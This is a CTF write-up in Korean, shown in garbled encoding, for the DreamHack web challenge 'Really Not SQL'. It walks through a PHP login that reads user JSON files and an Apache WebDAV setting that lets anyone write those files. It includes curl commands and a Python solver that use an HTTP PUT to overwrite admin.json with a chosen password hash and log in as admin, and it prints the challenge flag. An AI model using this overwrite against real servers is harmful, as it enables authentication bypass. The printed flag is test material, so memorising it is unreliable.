2026-06-04ยท1๋ถ ์ฝ๊ธฐยท
๋ก๊ทธ์ธ์ user/<id>.json ํ์ผ์ ์ฝ๋ JSON ์ ์ ์ ์ฅ์๋ค. admin ๋น๋ฐ๋ฒํธ๋ ๋ชจ๋ฅด์ง๋ง, Apache์ user/ ๋๋ ํฐ๋ฆฌ์ mod_dav๊ฐ ์ผ์ ธ ์๊ณ .htaccess๋ DELETE๋ง ๋ง๋๋ค. PUT์ผ๋ก admin.json์ ๋ด๊ฐ ์๋ ํด์๋ก ๋ฎ์ด์จ admin์ด ๋ ๋ค flag.php๋ฅผ ์ฐ ๊ณผ์ .
์ด ๊ธ์ด ๋์์ด ๋๋์?
๋ฌธ์ : DreamHack โ Really Not SQL ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 1 FLAG:
DH{un5AfE_Http_M37hod_coNfig_X.X:V65g8/eCgx2C2XzZbHrWAg==}
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | Really Not SQL |
| ๋์ด๋ | ๐ฅ Bronze 1 |
| ๋ถ๋ฅ | Web (PHP + Apache, JSON ํ์ผ ์ ์ ์ ์ฅ์) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | *.php, user/*.json, Apache ์ค์ / http://<instance-host>:<port>/ (์ธ์คํด์ค๋ง๋ค ๋ณ๊ฒฝ) |
| ํต์ฌ ์ทจ์ฝ์ / ๊ธฐ๋ฒ | WebDAV(mod_dav) PUT์ผ๋ก user JSON ํ์ผ ๋ฎ์ด์ฐ๊ธฐ โ ์ธ์ฆ ์ฐํ |
"Really not SQL, Just JSON." ์ด๋ฆ์ SQL ์ธ์ ์
์ ๋ ์ฌ๋ฆฌ๊ฒ ํ์ง๋ง DB๋ ์๋ค. ์ ์ ์ ๋ณด๋ user/admin.json, user/guest.json ๊ฐ์ JSON ํ์ผ์ ๋ค์ด์๊ณ ๋ก๊ทธ์ธ์ ๊ทธ ํ์ผ์ ์ฝ์ด ๋น๋ฐ๋ฒํธ๋ฅผ ๋น๊ตํ๋ค.
flag๋ admin ์ธ์ ์ผ ๋๋ง ๋์จ๋ค. ๋๋ admin ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชจ๋ฅธ๋ค. ๊ทธ๋ฌ๋ "์ด๋ป๊ฒ admin์ด ๋๋๋"๊ฐ ์ ๋ถ๋ค. ๋ต์ SQL๋ JSON ํ์ฑ ๋ฒ๊ทธ๋ ์๋๊ณ , Apache๊ฐ ๊ทธ JSON ํ์ผ์ ์ฐ๊ฒ ์ด์ด๋ ๋ฐ ์๋ค.

login.php๋ ์ด๋ ๊ฒ ๋์ํ๋ค.
$username = $_POST['username'] ?? '';
$filepath = __DIR__ . '/user/' . $username . '.json';
if ($username !== "admin" && $username !== "guest") {
$error = "User not found"; // admin/guest ๋ง ํ์ฉ (strict)
} else {
$userData = json_decode(file_get_contents($filepath), true);
if ($userData['id'] !== $username) { $error = "Error occured"; }
else if ($userData['password'] !== hash("sha256", $password)) { $error = "Invalid password"; }
else { $_SESSION['user'] = $username; } // ๋ก๊ทธ์ธ ์ฑ๊ณต
}username์ admin/guest๋ก ์๊ฒฉํ ์ ํ๋ผ ๊ฒฝ๋ก ์กฐ์์ ์ ๋๋ค. guest.json์ ํด์๋ sha256("guest")์ ์ผ์นํ๋ guest๋ก๋ ๋ก๊ทธ์ธ๋๋ค. ํ์ง๋ง flag๋ admin์ด์ด์ผ ํ๋ค.

flag.php์ ๋ฌธ์ ํ๋๋ฟ์ด๋ค.
if ($_SESSION['user'] !== "admin") { http_response_code(403); }
else { echo trim(file_get_contents('/flag')); }edit_profile.php๊ฐ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊ฟ์ฃผ๊ธด ํ๋๋ฐ, ๊ทธ ๊ธฐ๋ฅ ์์ฒด๊ฐ $_SESSION['user'] === "admin"์ ์๊ตฌํ๋ค. admin์ด ๋๋ ค๋ฉด edit_profile์ด ํ์ํ๊ณ edit_profile์ ์ฐ๋ ค๋ฉด admin์ด์ด์ผ ํ๋, ๋ซํ ๊ณ ๋ฆฌ๋ค. ๋ก๊ทธ์ธยทํ๋กํ ์์ ์ด๋ ์ชฝ์ผ๋ก๋ admin ๋น๋ฐ๋ฒํธ ์์ด๋ ๋ค์ด๊ฐ ์ ์๋ค.
์ฌ๊ธฐ์ ๋ฉ์ถ๋ฉด ์ ๋๊ณ , JSON "ํ์ผ"์ ๋๊ฐ ์ด๋ป๊ฒ ๋ค๋ฃจ๋์ง๋ฅผ ๋ด์ผ ํ๋ค.
# 000-default.conf
<Directory /var/www/html/user/>
DAV On
Options Indexes
AllowOverride All
Require all granted
</Directory># user/.htaccess
<Limit DELETE>
Require all denied
</Limit>user/ ๋๋ ํฐ๋ฆฌ์ DAV On โ WebDAV๊ฐ ์ผ์ ธ ์๋ค (Dockerfile์๋ a2enmod dav, dav_fs). ๊ฒ๋ค๊ฐ ์ด ๋๋ ํฐ๋ฆฌ๋ chmod 777, JSON ํ์ผ์ chmod 666์ด๋ผ Apache๊ฐ ๋ง์๋๋ก ์ธ ์ ์๋ค.
๋ฐฉ์ด๋ผ๊ณค .htaccess์ <Limit DELETE> ํ๋๋ฟ์ธ๋ฐ, ๋ง์ ๊ฑด DELETE ๋ฟ์ด๋ค. PUT์ ์๋ ์ ๋๋ค. JSON ์ ์ ํ์ผ์ HTTP๋ก ์ง์ ๋ฎ์ด์ธ ์ ์๋ค๋ ๋ป์ด๋ค.

OPTIONS๋ก ๋ฌผ์ด๋ณด๋ฉด PUT์ด ์ด์์๋ ๊ฒ ๋ฐ๋ก ๋ณด์ธ๋ค.
$ curl -i -X OPTIONS http://<host>:<port>/user/admin.json
DAV: 1,2
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,PUT,LOCK,UNLOCK
๋ก๊ทธ์ธ์ admin.json์ password ํ๋๋ฅผ sha256(์
๋ ฅ)๊ณผ ๋น๊ตํ ๋ฟ์ด๋ค. ๊ทธ ํ์ผ์ ๋ด๊ฐ ์ธ ์ ์์ผ๋ฉด, password๋ฅผ ๋ด๊ฐ ์๋ ๊ฐ์ ํด์๋ก ๋ฐ๊ฟ๋ฒ๋ฆฌ๋ฉด ๋๋ค. id๋ง admin์ผ๋ก ์ ์งํ๋ฉด ๋ก๊ทธ์ธ ๊ฒ์ฌ๋ฅผ ๊ทธ๋๋ก ํต๊ณผํ๋ค.
# 1) admin.json ์ ๋ด๊ฐ ์ ํ ๋น๋ฐ๋ฒํธ(pwned_by_zino)์ sha256 ์ผ๋ก ๋ฎ์ด์ฐ๊ธฐ
curl -X PUT http://<host>:<port>/user/admin.json \
-d '{"no":0,"id":"admin","password":"4d4cfe325598b398bd0df0ae08ba77dfba7c53656b60d7e3adc13bb83c539b73"}'
# 2) ๋ฐ๋ ๋น๋ฐ๋ฒํธ๋ก admin ๋ก๊ทธ์ธ โ ์ธ์
์ฟ ํค ์ ์ฅ
curl -i -X POST http://<host>:<port>/login.php \
-d 'username=admin&password=pwned_by_zino' -c cookie.txt
# 3) admin ์ธ์
์ผ๋ก flag.php
curl http://<host>:<port>/flag.php -b cookie.txt4d4cfe32โฆ๋ sha256("pwned_by_zino")๋ค. ๋น๋ฐ๋ฒํธ๋ ์๋ฌด๊ฑฐ๋ ๊ณจ๋ผ๋ ๋๊ณ , ํด์๋ง ๋ง์ถฐ ๋ฃ์ผ๋ฉด ๊ทธ๊ฒ ์ admin ๋น๋ฐ๋ฒํธ๊ฐ ๋๋ค.

PUT โ ๋ก๊ทธ์ธ โ flag๋ฅผ ํ ๋ฒ์ ๋ฌถ์ ์๋ฒ๋ค.
#!/usr/bin/env python3
import hashlib, json, requests
BASE = "http://host8.dreamhack.games:14965"
NEW_PW = "pwned_by_zino"
pw_hash = hashlib.sha256(NEW_PW.encode()).hexdigest()
new_admin = {"no": 0, "id": "admin", "password": pw_hash} # id ๋ admin ์ ์ง
s = requests.Session()
# 1) WebDAV PUT ์ผ๋ก admin.json ๋ฎ์ด์ฐ๊ธฐ (.htaccess ๋ DELETE ๋ง ์ฐจ๋จ)
r = s.put(f"{BASE}/user/admin.json", data=json.dumps(new_admin), timeout=15)
print(f"[*] PUT admin.json ->
[*] PUT admin.json -> 204
[*] login as admin: ์ฑ๊ณต
[+] FLAG: DH{un5AfE_Http_M37hod_coNfig_X.X:V65g8/eCgx2C2XzZbHrWAg==}
DH{un5AfE_Http_M37hod_coNfig_X.X:V65g8/eCgx2C2XzZbHrWAg==}์ด๋ฆ์ ๋๋ ค๋ค๋์ง ์๋๋ค.
"Really Not SQL"์ SQL์ ๋ค์ฌ๋ค๋ณด๊ฒ ๋ง๋๋ ๋ฏธ๋ผ๋ค. ์ ์ ๊ตฌ๋ฉ์ ์ธ์ฆ ๋ก์ง์ด ์๋๋ผ ๊ทธ๊ฑธ ๋ ๋ฐ์น๋ ํ์ผ์ ๋๊ฐ ์ธ ์ ์๋๋์ ์์๋ค. ์ฝ๋๋ง ๋ณด์ง ๋ง๊ณ ๊ทธ ์ฝ๋๊ฐ ๋ง์ง๋ ์์์ ๊ถํ๊ณผ ์๋ฒ ์ค์ ๊น์ง ๊ฐ์ด ๋ด์ผ ํ๋ค.
WebDAV๋ ์ฝ๊ธฐ ์๋ฒ๊ฐ ์๋๋ผ ์ฐ๊ธฐ ์๋ฒ๋ค.
DAV On ํ ์ค์ด๋ฉด ๊ทธ ๋๋ ํฐ๋ฆฌ๋ PUT/COPY/MOVE๋ก ํ์ผ์ ๋ง๋ค๊ณ ๋ฐ๊ฟ ์ ์๋ ๊ณต๊ฐ์ด ๋๋ค. ์ ์ ํ์ผ ๋๋ ํฐ๋ฆฌ์ ๋ฌด์ฌ์ฝ ์ผ๋๋ฉด, ๊ทธ ์์ ํ์ผ์ด ๊ณง ๊ณต๊ฒฉ์์ ์
๋ ฅ์ด ๋๋ค.
๊ฑฐ๋ถ ๋ชฉ๋ก์ ๋น ๋จ๋ฆฐ ๊ฒ๋งํผ ์ํํ๋ค.
.htaccess๋ DELETE๋ฅผ ์ ์ฑ๊ป ๋ง์์ง๋ง PUT์ ์์๋ค. ์ํํ ๋ฉ์๋๋ฅผ ํ๋์ฉ ๋ง๋ ๋ธ๋๋ฆฌ์คํธ๋ ์ด๋ ๊ฒ ํ ์นธ๋ง ๋น์ด๋ ๋ซ๋ฆฐ๋ค. ํ์ํ ๋ฉ์๋๋ง ํ์ฉํ๋ ํ์ดํธ๋ฆฌ์คํธ๊ฐ ์์ ํ๋ค. ํ๋๊ทธ์ un5AfE_Http_M37hod_coNfig๊ฐ ๊ทธ๋๋ก ๋ต์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ